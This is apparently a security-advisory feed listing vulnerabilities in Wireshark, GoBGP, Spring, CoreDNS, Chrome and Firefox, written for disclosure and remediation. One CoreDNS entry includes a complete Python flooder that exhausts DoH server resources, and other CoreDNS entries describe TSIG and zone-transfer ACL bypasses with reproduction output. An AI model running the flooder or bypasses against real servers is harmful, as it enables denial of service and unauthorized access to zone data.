Red Hat

Denial of service in Wireshark 4.6.0 through 4.6.4 via crafted SDP protocol packets allows local attackers with user interaction to crash the application through a use-after-free memory corruption vulnerability in the SDP protocol dissector. EPSS and KEV status not available at analysis time; no public exploit code identified.

Denial of service in Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 via crafted iLBC codec packets allows local attackers with user interaction to crash the application and interrupt service. The vulnerability stems from a use-after-free condition in the iLBC codec parser, triggered when Wireshark processes malformed audio codec data, causing an application crash without code execution.

Heap buffer overflow in the DCP-ETSI protocol dissector in Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 causes denial of service when a user opens a malicious packet capture file. The vulnerability requires user interaction (opening a crafted .pcap or similar file locally) and crashes the application, preventing further packet analysis. No public exploit code or active exploitation has been confirmed at this time.

Stack buffer overflow in Wireshark's BEEP protocol dissector causes denial of service when processing malformed network packets. Versions 4.6.0-4.6.4 and 4.4.0-4.4.14 are vulnerable; a local user with the ability to interact with Wireshark or supply crafted BEEP traffic can trigger a crash via a specially crafted packet that requires user interaction to open or process. No public exploit code or active exploitation has been identified at time of analysis.

Stack buffer overflow in Wireshark's ZigBee protocol dissector (versions 4.6.0-4.6.4 and 4.4.0-4.4.14) causes application crash and denial of service when processing malformed ZigBee packets. An attacker must trick a user into opening a crafted packet capture file or visiting a malicious webpage serving the packet, since the vulnerability requires local file access and user interaction. No active exploitation has been publicly reported.

Wireshark versions 4.6.0 through 4.6.4 contain an infinite loop vulnerability in the DLMS/COSEM protocol dissector that causes denial of service when processing malformed packets. A local attacker with user privileges can trigger the infinite loop by opening a crafted DLMS/COSEM packet capture file, freezing the application and rendering it unresponsive without requiring authentication or special configuration.

Denial of service in Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 causes application crash during zlib decompression in the packet dissection engine when processing malformed compressed traffic. Local attackers with user privileges can trigger the crash by opening a specially crafted pcap file or receiving a malicious packet capture, requiring user interaction but no authentication. No public exploit code or active exploitation has been identified at time of analysis.

Denial of service in Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 via infinite loop in the USB HID protocol dissector allows local attackers to crash the application by opening a maliciously crafted packet capture file. The vulnerability requires user interaction (opening a file) on a local system, making it suitable for targeted attacks against security analysts and network administrators who routinely inspect suspicious network traffic.

Denial of service in Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 allows local attackers to crash the application by triggering an unhandled exception in the LZ77 decompression engine when processing malformed compressed packet data. The vulnerability requires user interaction (opening a crafted packet capture file or receiving a malicious packet) but causes immediate application termination, impacting network analysis workflows.

Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 crash when processing malformed Kismet protocol packets due to a buffer overflow in the Kismet dissector, allowing unauthenticated remote denial of service via a crafted network capture file or live traffic. User interaction (opening a malicious capture file or capturing traffic) is required. No public exploit code or active exploitation has been identified at the time of analysis.

Infinite loop in the SANE protocol dissector in Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 causes denial of service when processing malformed SANE packets. A local attacker with user privileges can trigger the infinite loop by crafting a specially formatted SANE network capture or injecting malicious packets, causing Wireshark to hang and become unresponsive, denying analysts access to packet analysis.

Heap buffer overflow in Wireshark's DCP-ETSI protocol dissector causes denial of service when processing malformed network packets in versions 4.6.0-4.6.4 and 4.4.0-4.4.14. A local user can trigger a crash by opening a crafted packet file or live network capture, rendering the packet analysis tool unresponsive. No remote exploitation or data exfiltration is possible; impact is limited to availability.

Heap buffer overflow in the iLBC audio codec dissector in Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 allows local attackers with user interaction to trigger a denial of service crash by supplying a malformed iLBC packet. The vulnerability requires user interaction to open a crafted packet capture file and does not enable code execution.

Infinite loop in the TLS protocol dissector of Wireshark 4.6.0 through 4.6.4 causes denial of service when processing malformed TLS packets. Local attackers can trigger the infinite loop by crafting packets and opening them with Wireshark, causing the application to hang or consume excessive CPU resources. User interaction is required to open the malicious packet capture, limiting the attack to scenarios where a victim is tricked into opening untrusted network traffic files.

Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 crash when processing malformed ASN.1 PER protocol packets, enabling local denial of service against users opening crafted capture files. The vulnerability requires user interaction (opening a file or receiving a live packet capture) but allows an attacker to hang or crash the application without authentication. No active exploitation has been confirmed in public sources.

Denial of service in Wireshark 4.6.0 through 4.6.4 via null pointer dereference in the RTSP protocol dissector causes application crash when processing malformed RTSP traffic. Local attackers with network access to a Wireshark instance can trigger the crash by supplying a specially crafted RTSP packet, resulting in availability impact. No public exploit code or active in-the-wild exploitation has been identified; patch availability status requires verification from vendor.

Denial of service via MySQL protocol dissector crash in Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 allows local users with no privileges to crash the application through a crafted malicious pcap file or network capture, requiring only user interaction to open the file. The vulnerability stems from improper memory access in the MySQL dissector parser (CWE-824: Access of Uninitialized Pointer), resulting in application termination and loss of packet analysis capability. No public exploit code or active exploitation has been identified at time of analysis.

Infinite loop in the GNW protocol dissector in Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 causes denial of service when processing malformed packets. Local attackers with user interaction can craft malicious GNW traffic or files to exhaust CPU resources and freeze the application, preventing legitimate packet analysis and potentially disrupting network troubleshooting workflows.

Wireshark versions 4.6.0-4.6.4 and 4.4.0-4.4.14 are vulnerable to denial of service via infinite loops in the OpenFlow v5 protocol dissector when processing maliciously crafted packets. An attacker can trigger CPU exhaustion and application hang by delivering a specially crafted OpenFlow v5 packet to a user running an affected version, requiring user interaction (opening a capture file or live packet capture). No public exploit code has been identified, but the vulnerability is straightforward to trigger once the root cause is known.

Wireshark versions 4.6.0 through 4.6.4 and 4.4.0 through 4.4.14 are vulnerable to a denial of service attack via an infinite loop in the OpenFlow v6 protocol dissector, triggered when processing malformed OpenFlow traffic. A local attacker with user interaction can crash the Wireshark application by crafting a malicious packet capture file or live traffic stream, rendering packet analysis unavailable until the process is restarted. No authentication is required, and the CVSS score of 5.5 reflects local attack vector with high availability impact.

Infinite loop in the MBIM protocol dissector of Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 causes denial of service when processing specially crafted MBIM packets. A local user with normal privileges can trigger the infinite loop via user interaction (opening a malicious packet capture file), causing the application to hang and become unresponsive. No code execution or data access is possible; impact is strictly availability.

Infinite loop in the RPKI-Router protocol dissector in Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 causes denial of service when processing malformed packets. Local attackers with user privileges can trigger the vulnerability through crafted network traffic or pcap files opened in Wireshark, rendering the application unresponsive. No authentication required; user interaction (opening a file or capturing packets) is necessary. No public exploit code or active exploitation in CISA KEV identified at time of analysis.

Denial of service via crash in the GSM RP protocol dissector affects Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14. A local attacker with user privileges can trigger a dissector crash by crafting a malicious GSM RP packet and inducing a user to open it, causing application termination and loss of packet capture session. CVSS 5.5 reflects local attack vector and user interaction requirement; no remote exploitation path identified.

Wireshark versions 4.6.0-4.6.4 and 4.4.0-4.4.14 crash when processing malformed WebSocket protocol packets, enabling local denial of service. An attacker with the ability to trigger packet dissection-either by crafting a malicious PCAP file or intercepting traffic on a local network-can force the application to crash by supplying a WebSocket frame that triggers an unhandled error condition in the protocol dissector. The vulnerability requires user interaction (opening a file or navigating to a network interface) and operates at local scope, resulting in application unavailability rather than code execution.

Wireshark SMB2 protocol dissector crashes when processing malformed packets, causing denial of service in versions 4.6.0-4.6.4 and 4.4.0-4.4.14. A local attacker with low privileges can trigger the crash by crafting a malicious SMB2 packet and inducing the user to open it in Wireshark, resulting in application termination and loss of packet capture capability. No public exploit code or active exploitation in the wild has been identified at the time of analysis.

Stack buffer overflow in Wireshark HTTP protocol dissector (versions 4.6.0-4.6.4 and 4.4.0-4.4.14) causes application crash when processing malformed HTTP packets, resulting in denial of service. Local attackers with ability to trigger packet analysis via user interaction can crash the application and disrupt network traffic inspection workflows.

Denial of service in Wireshark sharkd versions 4.6.0-4.6.4 and 4.4.0-4.4.14 allows local attackers with user interaction to crash the application via a heap buffer overflow. The vulnerability requires local access and user interaction (opening a malicious file or network capture), making it a low-to-moderate priority for networked analyst workstations but not a remote code execution risk.

Denial of service in Wireshark 4.6.0-4.6.4 and 4.4.0-4.4.14 via infinite loop in the UDS protocol dissector allows local attackers to crash the application by opening a specially crafted packet capture file. The vulnerability requires user interaction (opening a malicious file) and is triggered during packet dissection, affecting the availability of the analysis tool but not confidentiality or integrity.

Remote unauthenticated denial of service crashes GoBGP routing daemon via malformed BGP UPDATE message exploiting index-out-of-bounds panic. Attackers send crafted BGP UPDATE with AS4_PATH attribute preceding AS_PATH, causing slice index mismanagement in UpdatePathAttrs4ByteAs function (internal/pkg/table/message.go). Publicly available exploit code exists with hex-level proof-of-concept payload demonstrating immediate process termination. Affects GoBGP v4.2.0 and earlier; vendor-released patch v4.3.0 available per GitHub advisory GHSA-8rxh-r2p6-7f2q. CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) reflects network-accessible, low-complexity attack requiring no privileges, resulting in complete routing service disruption.

An authorization flaw in the user management command could allow an authenticated user to make limited changes to authentication-related data associated with another user account. This could affect how authentication is performed for the impacted account.

Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources. More precisely, an application can be vulnerable when all the following are true: * the application is using Spring MVC or Spring WebFlux * the application is serving static resources from the file system * the application is running on a Windows platform When all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application.

A WebFlux server application that processes multipart requests creates temp files for parts larger than 10 K. Under some circumstances, temp files may remain not deleted after the request is fully processed. This allows an attacker to consume available disk space. Older, unsupported versions are also affected.

### Summary CoreDNS' tsig plugin can be bypassed on non-plain-DNS transports because it trusts the transport writer's TsigStatus() instead of performing verification itself. In the attached PoC, plain DNS/TCP correctly rejects an invalid TSIG (NOTAUTH), while the same invalid-TSIG request is accepted over DoT (tls://) and DoH (https://), allowing a client without the shared secret to satisfy require all. The same bug class affects DoH3, DoQ, and gRPC. ### Details The tsig plugin decides whether an incoming TSIG was valid by consulting w.TsigStatus(): tsigStatus := w.TsigStatus(); if tsigStatus != nil { ... NOTAUTH ... } (plugin/tsig/tsig.go) Two affected transports are shown directly in the PoC: - DoH: DoHWriter.TsigStatus() always returns nil (core/dnsserver/https.go), and the HTTP server passes unpacked DNS messages directly into the plugin chain. - DoT: the TLS server builds a dns.Server without setting TsigSecret (core/dnsserver/server_tls.go), unlike plain DNS/TCP/UDP which sets TsigSecret: s.tsigSecret (core/dnsserver/server.go). The same transport-family bug pattern also appears on other transports: - DoH3 reuses the DoH writer path (core/dnsserver/server_https3.go -> core/dnsserver/https.go), so it inherits the same TsigStatus() == nil behavior. - DoQ uses DoQWriter.TsigStatus() error { return nil } (core/dnsserver/quic.go). - gRPC uses gRPCresponse.TsigStatus() error { return nil } (core/dnsserver/server_grpc.go). The attached PoC was kept deliberately small (baseline TCP+DoT+DoH only) for convenience. ### PoC 1. Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well) 2. Run python3 ./tsig-repro.py 3. Expected output: *** Start CoreDNS *** Corefile: /tmp/vh-f001-tsig-doh-dot-bypass/Corefile Log: /tmp/vh-f001-tsig-doh-dot-bypass/coredns.log *** Baseline (plain TCP) *** no_tsig rcode=5 (expected REFUSED=5) invalid_tsig rcode=9 (expected NOTAUTH=9) *** Candidate (DoT) *** no_tsig rcode=5 (expected REFUSED=5) invalid_tsig rcode=0 ancount=1 (expected NOERROR=0 and ancount>0) *** Candidate (DoH) *** no_tsig http=200 rcode=5 (expected REFUSED=5) invalid_tsig http=200 rcode=0 ancount=1 (expected NOERROR=0 and ancount>0) *** OK *** TSIG bypass reproduced: plain TCP rejects invalid TSIG, while DoT and DoH accept it. Results: /tmp/vh-f001-tsig-doh-dot-bypass/results.json ### Impact Unauthenticated remote clients can bypass TSIG-based authentication/authorization on first-class encrypted transports, enabling access to whatever the deployment intended to restrict behind tsig { require all } (e.g., zone data/privileged queries, etc.).

### Summary CoreDNS' transfer plugin can select the wrong ACL stanza when both a parent zone and a more-specific subzone are configured. A permissive parent-zone transfer rule can override a restrictive subzone rule (name-dependent), allowing an unauthorized client to perform AXFR/IXFR for the subzone and retrieve its zone contents. ### Details In plugin/transfer/transfer.go, stanza selection is implemented by longestMatch(), which is documented as "longest zone match wins", but it actually chooses the winner via a lexicographic string comparison: - zone := "" // longest zone match wins (plugin/transfer/transfer.go) - if z > zone { zone = z; x = xfr } (plugin/transfer/transfer.go) So, a parent zone like example.org. can beat a child zone like a.example.org. purely due to lexicographic ordering ("example.org." > "a.example.org."), even though the child zone is the longer/more specific suffix match. The bypass is data-dependent (some child labels will win, some will lose), making it operationally non-intuitive. ### PoC 1. Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well) 2. Run python3 ./acl-repro.py 3. Expected output: *** Baseline (only subzone transfer rule) *** axfr a.example.org.: rcode=5 ancount=0 (expected REFUSED=5) *** Candidate (add permissive parent transfer rule) *** axfr a.example.org.: rcode=0 ancount=5 (expected NOERROR=0 with ancount>0) *** OK *** Subzone transfer ACL bypass reproduced: adding a permissive parent-zone stanza can override a stricter child-zone stanza due to lexicographic zone selection. ### Impact Unauthorized zone transfer can expose full zone contents to a remote network client that was intended to be denied by a subzone-specific transfer policy.

### Summary CoreDNS's DNS-over-HTTPS (DoH) GET path accepts oversized `dns=` query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning `400 Bad Request`. A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to `/dns-query?dns=...` and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected. This is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path. ### Details The vulnerable flow is in `plugin/pkg/doh/doh.go`: - `RequestToMsg()` dispatches GET requests to `requestToMsgGet()`: - `plugin/pkg/doh/doh.go:79-89` - `requestToMsgGet()` calls `req.URL.Query()`, extracts `dns`, and passes it directly to `base64ToMsg()`: - `plugin/pkg/doh/doh.go:99-108` - `base64ToMsg()` decodes the full attacker-controlled value via `b64Enc.DecodeString()` and only then attempts to unpack it into a DNS message: - `plugin/pkg/doh/doh.go:121-130` Relevant snippet: ```go func requestToMsgGet(req *http.Request) (*dns.Msg, error) { values := req.URL.Query() b64, ok := values["dns"] if !ok { return nil, fmt.Errorf("no 'dns' query parameter found") } if len(b64) != 1 { return nil, fmt.Errorf("multiple 'dns' query values found") } return base64ToMsg(b64[0]) } func base64ToMsg(b64 string) (*dns.Msg, error) { buf, err := b64Enc.DecodeString(b64) if err != nil { return nil, err } m := new(dns.Msg) err = m.Unpack(buf) return m, err } ```` By contrast, the POST path applies a bounded read before unpacking: ```go func toMsg(r io.ReadCloser) (*dns.Msg, error) { buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536)) if err != nil { return nil, err } m := new(dns.Msg) err = m.Unpack(buf) return m, err } ``` So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs. In addition, the HTTPS server is created in `core/dnsserver/server_https.go:87-92` without an explicit early GET-path size guard in this path: ```go srv := &http.Server{ ReadTimeout: s.ReadTimeout, WriteTimeout: s.WriteTimeout, IdleTimeout: s.IdleTimeout, ErrorLog: stdlog.New(&loggerAdapter{}, "", 0), } ``` As a result, oversized DoH GET request targets are processed through: 1. HTTP request-line parsing 2. URL query parsing / unescaping 3. DoH GET extraction 4. base64 decoding 5. DNS message unpacking before the request is rejected. ### Root cause The root cause is missing early size validation on the DoH GET path. More specifically: * `requestToMsgGet()` performs `req.URL.Query()` on attacker-controlled oversized request targets. * The extracted `dns` value is passed to `base64ToMsg()` without an encoded-length or decoded-length bound. * `base64ToMsg()` fully decodes the attacker-controlled string before any DNS-size rejection. * The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound. This creates a pre-validation resource-amplification path for DoH GET. ### PoC #### Local test setup This was reproduced locally against CoreDNS 1.14.2 over HTTPS with `pprof` enabled. Create a self-signed certificate: ```bash openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \ -keyout key.pem -out cert.pem \ -subj "/CN=127.0.0.1" ``` Create this `Corefile`: ```txt https://127.0.0.1:8443 { whoami log errors tls cert.pem key.pem pprof 127.0.0.1:6060 } ``` Run CoreDNS: ```bash ./coredns -conf Corefile ``` #### Proof-of-concept script ```python #!/usr/bin/env python3 import argparse import base64 import collections import concurrent.futures import http.client import ssl import time def send_one(host, port, path, timeout): ctx = ssl._create_unverified_context() conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx) try: conn.request("GET", path, headers={ "Accept": "application/dns-message", "Connection": "close", }) resp = conn.getresponse() resp.read() return resp.status except Exception as e: return f"ERR:{type(e).__name__}" finally: try: conn.close() except Exception: pass def main(): ap = argparse.ArgumentParser() ap.add_argument("--host", default="127.0.0.1") ap.add_argument("--port", type=int, default=8443) ap.add_argument("--decoded-kib", type=int, default=720) ap.add_argument("--workers", type=int, default=64) ap.add_argument("--requests", type=int, default=5000) ap.add_argument("--timeout", type=float, default=5.0) args = ap.parse_args() raw = b"A" * (args.decoded_kib * 1024) b64 = base64.urlsafe_b64encode(raw).rstrip(b"=").decode() path = "/dns-query?dns=" + b64 print(f"[+] target = https://{args.host}:{args.port}") print(f"[+] decoded bytes = {len(raw):,}") print(f"[+] encoded chars = {len(b64):,}") print(f"[+] request-target length = {len(path):,}") print(f"[+] workers = {args.workers}, requests = {args.requests}") print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n") started = time.time() results = collections.Counter() with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex: futs = [ ex.submit(send_one, args.host, args.port, path, args.timeout) for _ in range(args.requests) ] for i, fut in enumerate(concurrent.futures.as_completed(futs), 1): results[fut.result()] += 1 if i % 10 == 0 or i == args.requests: print(f"[{i}/{args.requests}] {dict(results)}") elapsed = time.time() - started print("\n[+] done") print(f"[+] elapsed = {elapsed:.2f}s") print(f"[+] summary = {dict(results)}") if __name__ == "__main__": main() ``` Run the PoC: ```bash python3 poc_doh_get_oversize_https.py \ --host 127.0.0.1 \ --port 8443 \ --decoded-kib 720 \ --workers 64 \ --requests 5000 ``` #### Profiling commands used during reproduction CPU profile: ```bash (curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpu_attack.pb.gz &) ; \ sleep 1 ; \ python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \ wait go tool pprof -top ./coredns cpu_attack.pb.gz ``` Heap / allocation profiles: ```bash curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz go tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz go tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz ``` ### Reproduction results The issue was confirmed using the following: * CoreDNS 1.14.2 * linux/amd64 * go1.26.1 PoC payload characteristics: * decoded payload size: `737,280 bytes` * base64url-encoded `dns` length: `983,040` * request-target length: `983,055` Observed request outcome: * `5000 / 5000` requests returned `400 Bad Request` * total runtime for the 5000-request run: `18.22s` The important point is that the requests are rejected only after expensive processing has already happened. #### CPU profile highlights The CPU profile captured during the attack showed significant time in: * `net/http.readRequest` * `net/url.ParseQuery` / `net/url.QueryUnescape` / `net/url.unescape` * `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` * `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` * `encoding/base64.(*Encoding).DecodeString` * Go GC worker paths Representative cumulative values from the captured profile included: * `github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP` → `10.91s` * `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` → `10.88s` * `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` → `10.88s` * `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` → `3.50s` * `encoding/base64.(*Encoding).DecodeString` → `3.46s` * `net/http.readRequest` → `10.57s` * `net/url.(*URL).Query` / `ParseQuery` / `QueryUnescape` → `7.38s` * `runtime.gcBgMarkWorker` and related GC paths were also heavily active This demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection. #### Allocation profile highlights Allocation profiling showed very large transient allocation volume caused by the rejected requests: * total `alloc_space`: `26,756.48 MB` Top contributors included: * `net/textproto.(*Reader).readLineSlice` → `19,668.19 MB` * `net/textproto.(*Reader).ReadLine` → `3,738.84 MB` * `encoding/base64.(*Encoding).DecodeString` → `2,766.16 MB` Within the CoreDNS DoH GET path specifically: * `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` → `2,775.67 MB` * `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` → `2,775.67 MB` * `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` → `2,773.67 MB` Heap delta (`inuse_space`) also showed live growth attributable to this path, including: * `encoding/base64.(*Encoding).DecodeString` → `7,629.75 kB` #### Memory observations Runtime memory monitoring showed a clear increase in peak resident usage during the attack: * baseline `VmHWM / VmRSS` before load was approximately `55,864 kB` * observed `VmHWM` during testing reached approximately `146,100 kB` So even though requests returned `400`, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection. ### Impact A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work. Impact includes: * elevated CPU consumption * large transient allocations * increased garbage-collection pressure * higher peak resident memory usage * degraded throughput and responsiveness * denial of service risk on memory-constrained or heavily loaded deployments This is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication. The fact that the final HTTP status is `400 Bad Request` does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated. ### Suggested remediation A robust fix should address both stages of the problem: 1. Apply an early bound on the DoH GET request target / raw query length before expensive query parsing. 2. Enforce an encoded-length and decoded-length limit for the `dns` parameter before calling `DecodeString()`. 3. Preserve equivalent size constraints across GET and POST paths. A minimal hardening direction would be: * reject oversized GET requests before `req.URL.Query()` on the DoH path * reject `dns` values whose encoded length exceeds the maximum valid DNS message encoding * reject any decoded payload larger than the supported DNS message size before unpacking

### Summary CoreDNS' DNS-over-QUIC (DoQ) server can be driven into large goroutine and memory growth by a remote client that opens many QUIC streams and stalls after sending only 1 byte. Even with a small configured quic { worker_pool_size ... }, CoreDNS still spawns a goroutine per accepted stream (workers + waiters) and active workers can block indefinitely in io.ReadFull() with no per-stream read deadline, enabling unauthenticated remote DoS via memory exhaustion/OOM-kill. ### Details CoreDNS' DoQ server uses a global worker pool (streamProcessPool) to limit concurrent stream processing, but when the pool is full it still spawns a goroutine per accepted stream that waits to acquire a worker token: select { case s.streamProcessPool <- ...: go ...; default: go ... wait for token ... } (core/dnsserver/server_quic.go) Additionally, the DoQ message framing reads are blocking io.ReadFull() calls with no per-stream read deadline: readDOQMessage() reads the 2-byte length prefix and message body via io.ReadFull() (core/dnsserver/server_quic.go) This allows an attacker to pin all workers by sending 1 byte (so io.ReadFull() blocks waiting for the second byte of the DoQ length prefix), while also creating an unbounded backlog of goroutines waiting for a worker token. Note: this appears to be a result of an incomplete fix/regression for CVE-2025-47950 (GHSA-cvx7-x8pj-x2gw). ### PoC 1. Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well) 2. Run python3 ./doq-dos-repro.py 3. Expected sample output: *** Start CoreDNS *** Corefile: /tmp/vh-f003-doq-mem-regression/Corefile Log: /tmp/vh-f003-doq-mem-regression/coredns.log *** Baseline sample (idle) *** rss_kib=49380 go_goroutines=17 *** Build + run partial-stream flooder *** go: downloading golang.org/x/net v0.43.0 go: downloading golang.org/x/crypto v0.41.0 go: downloading go.uber.org/mock v0.5.2 go: downloading github.com/stretchr/testify v1.11.1 go: downloading golang.org/x/sys v0.35.0 go: downloading github.com/pmezard/go-difflib v1.0.0 go: downloading github.com/davecgh/go-spew v1.1.1 go: downloading gopkg.in/yaml.v3 v3.0.1 *** Candidate sample (during attack) *** rss_kib=137968 go_goroutines=15557 *** Flooder output *** opened conns=60 streams_per_conn=256 total_streams=15360 *** Wrote results *** /tmp/vh-f003-doq-mem-regression/results.json *** OK *** DoQ flood caused goroutine/RSS growth despite worker_pool_size. ### Impact Unauthenticated remote DoS on an encrypted DNS transport via goroutine/RSS growth leading to OOM-kill/crash and service outage.

Use after free in Media in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)

Integer overflow in ANGLE in Google Chrome on Windows prior to 147.0.7727.138 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)

Heap buffer overflow in WebRTC in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)

Use after free in WebRTC in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

Use after free in WebView in Google Chrome on Android prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

Use after free in Cast in Google Chrome prior to 147.0.7727.138 allowed an attacker on the local network segment to potentially exploit heap corruption via malicious network traffic. (Chromium security severity: High)

Insufficient validation of untrusted input in Feedback in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

Inappropriate implementation in Tint in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)

Use after free in Chromoting in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code via malicious network traffic. (Chromium security severity: High)

Type Confusion in V8 in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

Use after free in WebRTC in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

Use after free in media in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

Use after free in Codecs in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

Use after free in Cast in Google Chrome prior to 147.0.7727.138 allowed an attacker on the local network segment to execute arbitrary code inside a sandbox via malicious network traffic. (Chromium security severity: High)

Use after free in WebMIDI in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

Use after free in Media in Google Chrome on Android prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

Heap buffer overflow in Skia in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

Out of bounds read and write in Angle in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

Use after free in Navigation in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)

Use after free in GPU in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

Use after free in Views in Google Chrome on Mac prior to 147.0.7727.138 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

Use after free in Animation in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

Use after free in ANGLE in Google Chrome prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

Use after free in GPU in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

Use after free in Views in Google Chrome on Windows prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

Use after free in Accessibility in Google Chrome on Windows prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

Use after free in iOS in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Critical)

Use after free in Canvas in Google Chrome on Linux, ChromeOS prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Critical)

Sandbox escape in Mozilla Firefox's WebRTC networking component allows remote attackers to break out of browser process isolation and execute code outside the sandbox with high integrity and confidentiality impact. Firefox ESR 140.10.1 fixes this critical boundary condition flaw (CWE-120). User interaction is required (visiting a malicious site), but no authentication is needed. EPSS data not provided. Not listed in CISA KEV at time of analysis, indicating no confirmed widespread active exploitation.

